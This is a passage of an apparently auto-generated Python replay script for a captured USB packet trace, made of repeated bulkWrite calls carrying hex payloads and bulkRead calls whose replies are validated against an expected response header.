b\"\\x51\\xE9\\x14\\x8C\\x92\\x1E\\x6D\\x68\\x09\\x20\\x6D\\xCC\\x68\\x14\\x36\\xCD\"\n b\"\\xBA\\x2E\\x38\\x52\\xD5\\x5F\\x8B\\x76\\x42\\x5C\\x72\\x93\\x99\\xF6\\x62\\xFD\"\n b\"\\xEC\\x3B\\xCA\\x06\\x9E\\xF9\\xA2\\xC9\\x6C\\xD2\\x2A\\x90\\xC9\\x7B\\x45\\x60\"\n b\"\\x1A\\x5C\\xA2\\xF3\\x42\\xAB\\xA8\\x8F\\xFF\\xE4\\x27\\xC7\\x69\\x7B\\x5A\\xC7\"\n b\"\\xA6\\x02\\xD8\\x30\\x9F\\xAC\\x07\\x6A\\xF8\\xF6\\x1B\\xD8\")\n # Generated from packet 1183/1184\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1183/1184\")\n # Generated from packet 1185/1186\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x78\\xEA\\x28\\x80\\xE5\\x0D\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x5A\\xE3\\x1D\\x48\\x5E\\x02\\x54\\x8D\"\n b\"\\xC4\\x3D\\x7F\\xFB\\x61\\x5D\\x45\\xCE\\xB6\\x72\\xB9\\x0E\\x19\\x52\\x6A\\x30\"\n b\"\\x08\\x15\\x99\\x53\\xB8\\xA4\\x31\\x6F\\x32\\x8D\\x79\\x86\\x1D\\xD2\\x5C\\xDB\"\n b\"\\x8C\\x6C\\x85\\xED\\x16\\xFE\\xB2\\x6A\\xE0\\xE5\\x33\\xA3\\x95\\x42\\x0E\\xF4\"\n b\"\\xE0\\x22\\x03\\x14\\x6B\\x04\\xEB\\xF9\\xC0\\x82\\x27\\x7B\\x2D\\x03\\xE5\\xE1\"\n b\"\\x4F\\x54\\x9E\\x3D\\xC7\\x65\\x51\\xC3\\xCA\\xFA\\x2D\\x7C\\x57\\x2D\\x7A\\x74\"\n b\"\\x55\\x58\\x1A\\x83\\xEC\\xD3\\xCF\\x64\\xBE\\x59\\x28\\x08\\x31\\x71\\x20\\x0C\"\n b\"\\x4A\\x3B\\xE9\\x3D\\xA3\\x96\\x6E\\x84\\x3A\\x46\\xBC\\x60\\x30\\x0F\\x4F\\xF3\"\n b\"\\x2C\\xC2\\x5F\\x98\\x03\\x76\\x7A\\x3C\\x7E\\xF6\\xFB\\x52\\xEB\\xB5\\x98\\xB3\"\n b\"\\x15\\xD5\\xE9\\x87\\xD8\\xAF\\xDB\\x44\\xB7\\x95\\xED\\x14\\x2F\\x1D\\x80\\x99\"\n b\"\\x56\\x21\\xAF\\xBA\\x6D\\xB0\\x3D\\xD0\\x94\\x1E\\xAC\\x42\\xC3\\x22\\x0F\\x7F\"\n b\"\\x69\\xBF\\xBB\\xA7\\xFB\\xDD\\xB5\\x0E\\xE1\\xDB\\x75\\xE4\\xD9\\xAE\\xA3\\xB6\"\n b\"\\x5D\\xB0\\x89\\xE8\\x2C\\xE1\\x82\\x56\\x2E\\x02\\x9D\\xA8\\x05\\x6D\\x6B\\xD5\"\n b\"\\xF2\\xAA\\xC3\\x40\\xC2\\x5F\\x66\\x41\\xED\\x7F\\xCE\\x8D\\xE7\\x7C\\xAC\\x6F\"\n b\"\\xE1\\x53\\x2F\\x0A\\x5D\\x42\\x6A\\xD2\\xAF\\x2A\\x86\\x28\\xD0\\x2F\\x23\\xDA\"\n b\"\\xE4\\x6A\\x76\\x7B\\x88\\x04\\xC6\\x4C\\x35\\x93\\x99\\x0F\\xA7\\x5A\\xFF\\x8B\"\n b\"\\xB2\\x5E\\x2E\\xE3\\x34\\x19\\xB7\\x45\\x82\\xD1\\xC0\\xE1\")\n # Generated from packet 1187/1188\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1187/1188\")\n # Generated from packet 1189/1190\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x65\\xF9\\x13\\x48\\x3C\\x6F\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xD2\\xB4\\x85\\x76\\xB9\\x2B\\x4A\\x6B\"\n b\"\\x79\\x75\\xA0\\x7B\\x50\\xFE\\x9D\\x62\\x18\\xB2\\x67\\x70\\x9E\\xDE\\xF4\\x2D\"\n b\"\\xB5\\x7C\\x01\\x5A\\x94\\x0B\\x3F\\xFB\\x1A\\xBE\\x75\\x7B\\x19\\x1F\\x70\\x40\"\n b\"\\x7D\\x44\\x04\\x94\\x24\\xF7\\x2F\\x30\\xF8\\xB5\\xDA\\xE6\\xF2\\x5F\\x9B\\x50\"\n b\"\\xC0\\x6C\\x6E\\x4C\\x89\\x03\\x24\\xD3\\x31\\xEE\\xCF\\xA1\\x43\\x37\\x17\\x31\"\n b\"\\x6E\\x08\\x0D\\xD8\\x28\\xD3\\x68\\x9D\\x39\\xB3\\xE8\\x47\\x3B\\x48\\x6E\\xC1\"\n b\"\\xF8\\x71\\x9C\\xCC\\x97\\x40\\x98\\x61\\x1D\\x86\\xF3\\x00\\x2A\\x16\\xBD\\x2F\"\n b\"\\x33\\x6B\\x65\\x7C\\x2A\\x05\\x23\\xCA\\x88\\xA9\\x7D\\xCA\\x18\\x3B\\xE2\\x82\"\n b\"\\xFC\\x3E\\xF0\\x51\\x32\\xD2\\x28\\x94\\x34\\xAC\\x6C\\x8E\\xAC\\x4E\\x1B\\x53\"\n b\"\\x40\\xF0\\xA7\\x59\\x11\\x4A\\x99\\xAA\\xF4\\x23\\x3E\\x13\\xD7\\x77\\xA3\\xFC\"\n b\"\\x9C\\x50\\xBC\\x4F\\x8F\\x8B\\x97\\x32\\x5D\\x5F\\x53\\xDB\\x69\\x60\\xCC\\xD4\"\n b\"\\x57\\x24\\xF7\\x7A\\x6D\\xD2\\x82\\x3E\\x21\\xE7\\x4D\\x9A\\xF0\\x30\\xD9\\x8C\"\n b\"\\x4D\\x06\\x0E\\xFF\\x6F\\xC1\\x5B\\x0C\\xCC\\x11\\xD5\\x35\\x74\\xC1\\x52\\xA9\"\n b\"\\x96\\x96\\xFA\\xC7\\xBB\\x96\\xFE\\x23\\xCF\\x72\\xE9\\x49\\xBF\\x75\\xEC\\xD0\"\n b\"\\x97\\x80\\xB7\\x6A\\xCE\\x8E\\x7C\\x2E\\x39\\xC9\\x8F\\x61\\xD3\\x03\\xC0\\x00\"\n b\"\\xCD\\xBC\\xA5\\x77\\x5A\\xE9\\x4A\\xA1\\x2F\\x1E\\xCF\\x81\\xC3\\xDB\\xE3\\xA8\"\n b\"\\xC9\\x03\\x47\\x1F\\x1A\\x05\\x49\\x8B\\x10\\x6A\\x80\\xC9\")\n # Generated from packet 1191/1192\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1191/1192\")\n # Generated from packet 1193/1194\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xF5\\xCA\\xDA\\x56\\xF4\\x6C\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xB2\\x90\\x31\\x8D\\x95\\x92\\x85\"\n b\"\\xCB\\x72\\xBF\\xAA\\xCF\\xC7\\x22\\xCA\\x4D\\xF7\\xF3\\x58\\xD4\\xA0\\x5E\\xE4\"\n b\"\\xE6\\xB8\\xE5\\x6D\\x8C\\x2A\\x6A\\xDD\\xE0\\x39\\xD9\\xD5\\xEF\\x91\\x0B\\x45\"\n b\"\\xFC\\x37\\x47\\xC1\\x35\\x50\\x19\\x8D\\x58\\xF0\\x20\\x72\\x55\\x31\\xE7\\xE1\"\n b\"\\x4A\\x7B\\x25\\xF6\\xA7\\x1F\\x05\\xA5\\x82\\x1F\\xE3\\x7B\\xB7\\xB9\\xE5\\x38\"\n b\"\\xED\\x5C\\x92\\xA7\\x3C\\x82\\x42\\xDF\\xF9\\xCB\\x1E\\xE0\\x39\\xD1\\xAB\\xBE\"\n b\"\\xA1\\x95\\xBA\\x5D\\x87\\x16\\x92\\x07\\xAE\\x0D\\x11\\x4A\\xF2\\xE8\\x2A\\x2B\"\n b\"\\x52\\x48\\x79\\x1D\\x4C\\x44\\x2E\\x49\\x86\\x1C\\x61\\x22\\x32\\x6F\\xE1\\x68\"\n b\"\\x00\\x08\\xAC\\x95\\x84\\x81\\xB8\\x4A\\x9C\\xF2\\xE8\\xB1\\x3E\\x51\\xB0\\xD3\"\n b\"\\xEC\\xFD\\xA3\\x49\\x39\\xB6\\x17\\xA8\\xC4\\xE8\\xB4\\xA1\\xE3\\xED\\x68\\x4B\"\n b\"\\xA8\\xBC\\xA5\\x2A\\x89\\xFE\\xEF\\x4C\\xD2\\x71\\x09\\xB3\\xD3\\xF7\\x1C\\x75\"\n b\"\\xD0\\xE2\\xF6\\x4C\\x88\\x76\\x34\\x40\\x30\\x52\\xE7\\x05\\x5F\\x85\\xDC\\xE4\"\n b\"\\x1B\\x9E\\xA3\\x7D\\x1E\\xC0\\x9E\\xE7\\xE8\\x77\\x89\\x7A\\x3C\\x01\\xA5\\x09\"\n b\"\\x64\\x4D\\xFA\\x6B\\xDD\\x59\\x7F\\x2B\\xDE\\xEB\\x47\\x0A\\xA8\\xF2\\x0E\\x0C\"\n b\"\\x3C\\xAB\\x2F\\x43\\x2C\\x42\\x35\\x08\\x13\\x40\\xB5\\x0C\\x65\\xE0\\xA7\\x28\"\n b\"\\x35\\x57\\x54\\x2C\\x46\\xAE\\xDE\\xE0\\xB9\\xA1\\x58\\x48\\x1A\\x99\\x26\\xC6\"\n b\"\\x2F\\xF7\\xC6\\xB2\\x7E\\x80\\x6E\\xEF\\xF2\\x51\\xA6\\x52\")\n # Generated from packet 1195/1196\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1195/1196\")\n # Generated from packet 1197/1198\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x96\\xCF\\x67\\x42\\x45\\x5F\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xA5\\xE3\\xB7\\xCB\\x6C\\x43\\x76\\xF9\"\n b\"\\x9C\\xEC\\x57\\x36\\xFE\\x0D\\xDC\\xD0\\x52\\xAD\\xF9\\x77\\x11\\x14\\x7F\\x75\"\n b\"\\xCB\\x47\\x24\\x97\\xE8\\x97\\xF5\\xA6\\xBE\\xEF\\x5A\\x5F\\xB2\\x04\\x3B\\x95\"\n b\"\\x5A\\xE8\\x3E\\xD8\\x0E\\x8B\\x26\\x2A\\x59\\x15\\x30\\x4F\\x60\\x4B\\x64\\x47\"\n b\"\\x24\\xA3\\x38\\x8F\\x78\\xE4\\xF5\\xBF\\x52\\x57\\x7E\\xCE\\xD4\\xD9\\xC7\\xB4\"\n b\"\\xCD\\x77\\xE3\\xA0\\x24\\x6E\\x86\\xE3\\x6D\\x43\\x2C\\x4A\\xCF\\xCA\\x97\\xDB\"\n b\"\\x27\\x8F\\x1F\\x6C\\xFE\\xD5\\x55\\xB9\\xD3\\x96\\x08\\xFD\\x01\\xDD\\xAE\\x8B\"\n b\"\\x63\\x3A\\x40\\x94\\xBE\\xA4\\x2E\\x9C\\xEC\\xAA\\xB9\\x94\\x2D\\xE6\\x8D\\x11\"\n b\"\\x91\\x08\\x2B\\x1E\\x3A\\x31\\x5C\\x44\\x95\\xC9\\xC9\\x9B\\xEB\\xAD\\xD5\\x4C\"\n b\"\\x0B\\x4F\\xD7\\xA5\\x6D\\xFC\\xA4\\xE3\\x92\\xB7\\xA5\\xBA\\x08\\xA2\\xF3\\xEB\"\n b\"\\x02\\xF8\\xE4\\x6C\\xEC\\x53\\x76\\x3B\\x0A\\x29\\x20\\xF6\\x4D\\x2B\\xAE\\xE6\"\n b\"\\x2D\\xD6\\x92\\x5D\\x3A\\x4F\\x40\\x13\\x7D\\xFF\\x83\\xBF\\xA0\\x11\\xB4\\x71\"\n b\"\\xC0\\x6E\\xC3\\xE1\\x63\\xF1\\xCA\\x6E\\xB7\\x9D\\xF5\\xD8\\xE6\\xFC\\x45\\xD5\"\n b\"\\x5E\\x18\\x17\\xFD\\xEF\\x11\\x47\\x11\\x8C\\x6F\\x80\\xC2\\x20\\x48\\x29\\x7D\"\n b\"\\x9C\\xDA\\x50\\xAE\\x2E\\x78\\x02\\x34\\x07\\xE7\\xEE\\xAA\\x3A\\x73\\x1B\\x1E\"\n b\"\\x46\\x39\\x71\\x38\\x0A\\x87\\x8C\\x1D\\x5B\\x3B\\x86\\x55\\xF9\\x42\\x6C\\x23\"\n b\"\\xB3\\xEC\\xD8\\xC0\\xAD\\xDF\\x5D\\x7A\\xE7\\x0C\\x5B\\x0F\")\n # Generated from packet 1199/1200\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1199/1200\")\n # Generated from packet 1201/1202\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x33\\x13\\xE5\\xD8\\xD3\\x13\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xE8\\x67\\x2E\\xC3\\x71\\x64\\x6B\\xBA\"\n b\"\\x9B\\xC2\\xB1\\x6F\\xD4\\xCB\\x18\\xE1\\x12\\x19\\x9B\\x2D\\xC7\\xAA\\x80\\x1B\"\n b\"\\x81\\xB6\\x32\\xD6\\x7B\\x59\\x60\\xBC\\xDD\\x72\\x93\\x4D\\x29\\x87\\x49\\x7F\"\n b\"\\x1C\\xCF\\xD9\\x75\\x06\\xF6\\x90\\xD9\\xC6\\xF7\\xBC\\x4A\\x71\\x16\\x75\\x71\"\n b\"\\x7B\\x55\\xCF\\x6C\\x24\\x66\\x90\\x2C\\x63\\x1C\\xCC\\xF8\\x4E\\xF1\\x7E\\x12\"\n b\"\\xB7\\x87\\x40\\x46\\xA9\\x23\\x64\\x77\\x89\\x71\\x98\\xE7\\x9B\\xB7\\x2D\\x63\"\n b\"\\xE9\\xAC\\x02\\x73\\x38\\xB0\\xA2\\xC2\\x66\\xF4\\xE5\\xDA\\xD6\\xD1\\x0A\\x83\"\n b\"\\x01\\xA0\\x92\\xB2\\xF5\\xC7\\x4A\\xAA\\x80\\x06\\xCD\\x5A\\xCF\\xD4\\x3E\\xAD\"\n b\"\\x44\\x99\\xE1\\x3A\\x03\\x59\\xE1\\xFE\\xC9\\x27\\xEE\\x3F\\xA0\\x88\\x3D\\x68\"\n b\"\\x37\\x2D\\x07\\x20\\xD6\\x69\\x91\\x1A\\x31\\xCE\\x5A\\x9A\\x23\\xFA\\x2D\\x4E\"\n b\"\\xBB\\x61\\x9F\\xAC\\x30\\x44\\x17\\x66\\x09\\x62\\xFD\\x46\\xBC\\x76\\xAA\\xFE\"\n b\"\\xBA\\xE7\\x7A\\xC8\\x2F\\xD9\\x75\\x75\\xE2\\x68\\x8C\\x1F\\x20\\xC2\\x70\\xB3\"\n b\"\\x75\\x06\\xC8\\x12\\xEA\\xAE\\x55\\xA4\\x8A\\x16\\xEF\\x14\\xD5\\x73\\x75\\xAA\"\n b\"\\xB7\\xE3\\x0D\\xA0\\xD6\\xE9\\xC7\\x22\\xE9\\x37\\xBD\\xEC\\x69\\x5B\\x42\\xCE\"\n b\"\\xC6\\xC4\\x04\\xF5\\xCB\\x40\\xDB\\xBA\\x50\\xE9\\x36\\x0D\\xD9\\x80\\xB0\\xE4\"\n b\"\\x80\\xBF\\xFE\\x17\\xE9\\xF5\\x94\\x7C\\xEE\\x3F\\x79\\x82\\xCE\\x3B\\xEC\\x3E\"\n b\"\\x3D\\x1B\\x45\\xF4\\x57\\x93\\xB4\\x53\\x03\\x4D\\x02\\x89\")\n # Generated from packet 1203/1204\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1203/1204\")\n # Generated from packet 1205/1206\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xEA\\x04\\xEC\\x83\\xD8\\x29\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x07\\x7D\\x69\\xF3\\x8F\\x9B\\x37\\xED\"\n b\"\\x19\\x3E\\xD9\\x1A\\x3F\\x49\\x88\\x3B\\xE7\\x07\\x40\\x69\\x15\\x0C\\xB3\\xF5\"\n b\"\\xFA\\x1E\\xEB\\x83\\xFC\\x17\\xE5\\xFF\\xC0\\x5B\\x23\\x0F\\x53\\xA0\\x7B\\x99\"\n b\"\\xC5\\xCC\\xB3\\x66\\xC0\\x60\\x87\\x4F\\x05\\x15\\xCE\\x4B\\x85\\xA3\\x48\\x21\"\n b\"\\x0B\\xE7\\xC3\\xA4\\xDD\\xF1\\xF3\\x7B\\xDA\\x53\\xD9\\xA0\\x04\\xCA\\x7D\\x13\"\n b\"\\x4F\\x68\\x03\\xFC\\x08\\xB0\\x8D\\xE3\\x19\\xAA\\x7F\\x24\\x74\\x4E\\x97\\x84\"\n b\"\\x7E\\x0D\\xB4\\x5C\\xCB\\x15\\x5A\\x8E\\xBE\\x0C\\x10\\x23\\x1C\\x54\\x46\\xCD\"\n b\"\\xE7\\x52\\xF3\\xDD\\x62\\xBD\\x3F\\xFB\\x42\\x8C\\xDC\\xD8\\xB2\\x2D\\x2A\\xD2\"\n b\"\\x86\\x3D\\xA8\\xB4\\x33\\x98\\x30\\x66\\xFA\\x16\\x4B\\x36\\x34\\x24\\x61\\x7C\"\n b\"\\xE4\\x9B\\xBC\\xC6\\xB8\\xB8\\xA3\\x02\\x2E\\x8B\\x3E\\x01\\x6A\\x12\\x35\\x6A\"\n b\"\\xA2\\x93\\x02\\x64\\xCB\\x8A\\xFF\\x66\\x6F\\x7D\\xCF\\x0D\\xAA\\x12\\xCA\\x17\"\n b\"\\x8E\\x53\\xA8\\xCC\\x41\\x29\\x5C\\xF6\\x35\\x89\\x40\\xF2\\xE2\\x3C\\x9F\\x99\"\n b\"\\xDC\\xA7\\x5D\\xC4\\x38\\xF9\\x7A\\x2E\\x48\\x09\\xB3\\x8D\\x9B\\xC3\\xCF\\x7A\"\n b\"\\xAB\\x20\\x6E\\xEB\\xA2\\x8B\\xD8\\x26\\x57\\x91\\xF6\\x6B\\x15\\x27\\x13\\xE6\"\n b\"\\x70\\x99\\x35\\xD4\\x03\\x7D\\xD9\\x3A\\x82\\x96\\xA9\\x88\\x2F\\x97\\xBE\\x1E\"\n b\"\\xF1\\x20\\x72\\x5F\\x3A\\xE8\\xE4\\x86\\xBF\\xDB\\xEC\\xAD\\x17\\x54\\x19\\xC6\"\n b\"\\x2E\\xE1\\xE0\\x1E\\x15\\x30\\x9C\\xBC\\x38\\x12\\xE8\\x57\")\n # Generated from packet 1207/1208\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1207/1208\")\n # Generated from packet 1209/1210\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x33\\x8E\\xA2\\x8D\\x28\\x0A\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x1C\\xF5\\x42\\x3F\\x0E\\x48\\x4D\\x5F\"\n b\"\\x16\\x66\\x76\\x14\\xC5\\xE7\\xC6\\x22\\x9A\\xD1\\x8E\\xCD\\x4A\\x7D\\xD0\\xA0\"\n b\"\\x72\\x15\\x1F\\xF2\\x53\\x76\\xB7\\x97\\x6B\\x73\\xD5\\x51\\x06\\x3E\\xF2\\x83\"\n b\"\\xEA\\x4E\\xBE\\x7C\\x4D\\xF4\\xEC\\x74\\xB5\\x31\\xE7\\x79\\x94\\xCC\\x8A\\x42\"\n b\"\\x31\\x17\\x87\\x41\\x9E\\x0B\\xB7\\x36\\x96\\xF8\\x1E\\x23\\xA9\\x07\\x70\\x1D\"\n b\"\\x4D\\x30\\x62\\xB6\\xB2\\x4A\\x39\\xE4\\xC7\\x28\\xB2\\xAC\\xD3\\xB9\\xE4\\xCD\"\n b\"\\xCC\\x06\\x12\\x4B\\xFC\\xB8\\x47\\x65\\x3A\\x21\\xDF\\xEC\\xE7\\xB8\\xB4\\x84\"\n b\"\\xC1\\x4E\\x29\\x8A\\xF5\\x7A\\x3E\\x4B\\x30\\x5A\\x0D\\xC7\\xE2\\x7F\\x1F\\xF8\"\n b\"\\x87\\xC6\\xA0\\x27\\xB2\\x5F\\x10\\x0F\\x9A\\x29\\x62\\x46\\xAA\\x6E\\x6B\\x0D\"\n b\"\\x17\\x1E\\x65\\x73\\x07\\xE7\\xB4\\xA4\\xBC\\xE3\\xBB\\xFD\\x9F\\x1A\\x7C\\x4D\"\n b\"\\xD7\\x6C\\xAF\\xD5\\xB6\\xB7\\x27\\x4D\\xE1\\x4B\\xEB\\x18\\xA8\\xAC\\x6E\\x2F\"\n b\"\\xF8\\xA6\\x87\\xB6\\xC6\\x77\\x90\\x46\\x70\\x34\\x08\\x1C\\xD3\\x25\\x58\\xC8\"\n b\"\\x70\\x7D\\x47\\xB8\\x8D\\x51\\x40\\xC4\\xDB\\xC4\\x82\\xEB\\xED\\x06\\x8B\\x2B\"\n b\"\\xA8\\x2B\\x0E\\x04\\xC8\\xFF\\xE4\\xFE\\x14\\x2A\\xFB\\x83\\xD9\\x8C\\xCF\\x9D\"\n b\"\\x8C\\xA2\\xAF\\x79\\x57\\x46\\x01\\x55\\x4B\\x5E\\xDA\\xB1\\xD1\\x21\\x95\\x0D\"\n b\"\\xA8\\x54\\x32\\x09\\xCD\\xAA\\x42\\x86\\x4C\\x6C\\xDA\\xBE\\x4C\\x32\\x7E\\x80\"\n b\"\\x7F\\xEA\\xCA\\x14\\xD9\\x6E\\x22\\xE2\\xE8\\x56\\xE0\\x23\")\n # Generated from packet 1211/1212\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1211/1212\")\n # Generated from packet 1213/1214\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xAE\\x70\\xEC\\x7F\\xCE\\x09\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x9C\\x83\\x0F\\x35\\x8E\\x5F\\xCA\\xC8\"\n b\"\\xB2\\xCB\\x9F\\xFD\\x86\\xA9\\xDB\\xA3\\x55\\xBF\\x22\\x7F\\x0D\\xC8\\x6D\\xA0\"\n b\"\\x5A\\xC6\\x9D\\x1E\\x10\\x44\\x3B\\xBE\\x4C\\xA6\\x13\\xFC\\xEB\\x67\\xE0\\xAA\"\n b\"\\x1B\\x12\\x88\\x21\\x86\\x24\\xF0\\xD0\\x74\\xBB\\x47\\x37\\xF5\\xDA\\x83\\xEC\"\n b\"\\x52\\x72\\xAD\\xF0\\x13\\x44\\x28\\x05\\xE5\\xB1\\x32\\x1A\\xC6\\x1B\\x03\\x29\"\n b\"\\x86\\x6F\\x7B\\xA9\\x89\\x5B\\x6A\\x2F\\xF2\\x9B\\x2A\\x8E\\x4A\\x33\\x44\\xEA\"\n b\"\\x4A\\x53\\x1B\\x47\\xCD\\xCA\\x67\\x1B\\xAF\\x44\\xC6\\x56\\x46\\x4E\\x43\\x19\"\n b\"\\xD9\\x44\\x53\\x01\\xE5\\x89\\xAC\\x03\\xD3\\xA6\\x18\\xC6\\xC1\\xB8\\x9E\\x0E\"\n b\"\\xBA\\xC6\\xAE\\x79\\x77\\xA3\\x0A\\x74\\x65\\x64\\x52\\x15\\xAB\\x29\\x05\\x6E\"\n b\"\\xDB\\x23\\xC7\\x3B\\x8F\\x88\\x0A\\x55\\x37\\xCF\\x4F\\x88\\x8C\\x1C\\x11\\xC8\"\n b\"\\x2E\\x84\\xE2\\xDB\\x14\\x60\\xDF\\xF3\\x98\\xC5\\xF2\\xB0\\xE1\\x85\\x64\\xB3\"\n b\"\\x8E\\x6F\\xAC\\x92\\xB8\\xB0\\x45\\xAA\\x0F\\xF6\\x11\\x3B\\x3A\\xB3\\x99\\x76\"\n b\"\\x24\\xF6\\x36\\xA0\\x46\\x50\\xB1\\xB8\\xD1\\xD4\\x9F\\x85\\x91\\x6E\\xAF\\x21\"\n b\"\\x51\\x8C\\x7E\\x34\\x5D\\x9F\\x7A\\xCF\\x04\\x62\\xB6\\x87\\xBC\\x70\\xA9\\x75\"\n b\"\\xE3\\x70\\x36\\xE0\\x2C\\x48\\xAA\\xDF\\xD5\\x3E\\x2D\\x9A\\xFA\\x4E\\xAC\\xEA\"\n b\"\\x8B\\x04\\xD1\\x79\\xF2\\x0C\\x68\\x6C\\x9A\\xD3\\x72\\x43\\xD4\\x23\\xDA\\xA9\"\n b\"\\x87\\x37\\x20\\x06\\xE8\\x7D\\x75\\x60\\x7B\\x42\\x97\\xC6\")\n # Generated from packet 1215/1216\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1215/1216\")\n # Generated from packet 1217/1218\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xC0\\x15\\x32\\x78\\x0B\\x52\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xE9\\x96\\x42\\x9F\\x0A\\xCF\\x54\\xAB\"\n b\"\\x0F\\x25\\x2D\\xDF\\xC0\\x8B\\xF5\\xCE\\x08\\x3D\\x3F\\xFB\\x10\\xCC\\x32\\xD0\"\n b\"\\x19\\xFE\\x72\\xB9\\xA1\\x4C\\x8A\\x33\\x13\\x20\\x81\\xCE\\x0F\\xD5\\x69\\xB0\"\n b\"\\x55\\x14\\x0D\\xD6\\x0C\\xA4\\x3B\\xDE\\xF0\\x5E\\x8B\\xA2\\x79\\x22\\x91\\xEF\"\n b\"\\xE7\\x61\\xBA\\xD4\\x2B\\x06\\xB4\\x64\\x7F\\xFF\\xFF\\x66\\x0D\\xDF\\x4E\\x20\"\n b\"\\xD0\\x7D\\xC0\\x57\\xD2\\x2C\\x60\\x87\\x39\\x23\\xCD\\x40\\x3D\\x44\\x60\\x7B\"\n b\"\\x55\\x61\\x5D\\xB3\\x73\\xC6\\x84\\x4B\\x42\\x96\\x7A\\x2E\\x0A\\xE1\\x32\\x8D\"\n b\"\\xE1\\xBE\\x30\\x48\\x8E\\xF9\\x60\\x5E\\x82\\x47\\x95\\x18\\xEE\\x5A\\xEE\\x71\"\n b\"\\x1B\\x97\\xE5\\x46\\xB3\\x60\\xAC\\x44\\xE9\\xDA\\x76\\xAC\\x51\\x2B\\x1F\\x20\"\n b\"\\x80\\xD4\\xDA\\x0F\\x5E\\x73\\x5D\\x33\\x86\\x2B\\x34\\x1E\\xFE\\x0C\\x3D\\x7C\"\n b\"\\x4A\\xBA\\xE1\\xCC\\xBD\\xD1\\x79\\x3B\\x97\\x55\\x56\\xC4\\xDD\\xC3\\x2E\\xD8\"\n b\"\\x3E\\x0C\\x0E\\x26\\x7C\\xFD\\x7C\\x0A\\xF0\\xFE\\x87\\xF9\\x0D\\xB3\\x14\\xA6\"\n b\"\\x0F\\xC2\\x4C\\x7C\\x36\\x91\\x0D\\x50\\x6C\\xBA\\x2B\\x6B\\x5A\\xF2\\x93\\x2A\"\n b\"\\x3D\\x1E\\x61\\x26\\x86\\x5F\\xC5\\x17\\x6D\\x64\\x5D\\x17\\x87\\x17\\x44\\x94\"\n b\"\\xDA\\xFA\\x94\\x45\\xC6\\x4C\\xA7\\xC7\\xF8\\xDB\\x2C\\x59\\xE4\\x35\\xD7\\x16\"\n b\"\\x1D\\x8D\\xD8\\x97\\x6B\\xC6\\x76\\xAF\\xBF\\x25\\x91\\x32\\xBD\\xCE\\xC8\\xFF\"\n b\"\\x0B\\x7F\\xFF\\x82\\x23\\x3E\\x5E\\x5C\\xD2\\xA3\\x02\\x02\")\n # Generated from packet 1219/1220\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1219/1220\")\n # Generated from packet 1221/1222\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x1F\\x9A\\x83\\x6E\\xF5\\x68\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x36\\x31\\x42\\x9F\\xD5\\x8E\\x54\\x8B\"\n b\"\\x11\\x62\\xFD\\x93\\xD3\\xA5\\xBE\\x31\\x93\\x57\\xFD\\xB2\\x39\\x28\\xE0\\x8C\"\n b\"\\x0B\\x01\\x6E\\x7A\\x43\\xCD\\x50\\x8A\\x09\\x3E\\xB5\\x26\\xCE\\xE1\\x8B\\x51\"\n b\"\\x4C\\x59\\x69\\x56\\xBD\\x43\\x0B\\xF6\\xCF\\x28\\x5E\\x88\\x61\\x18\\x18\\x3F\"\n b\"\\x28\\xAA\\x9E\\x7C\\xC8\\x20\\x86\\xC4\\x0B\\xFA\\x30\\xD4\\x51\\x3E\\x13\\x0D\"\n 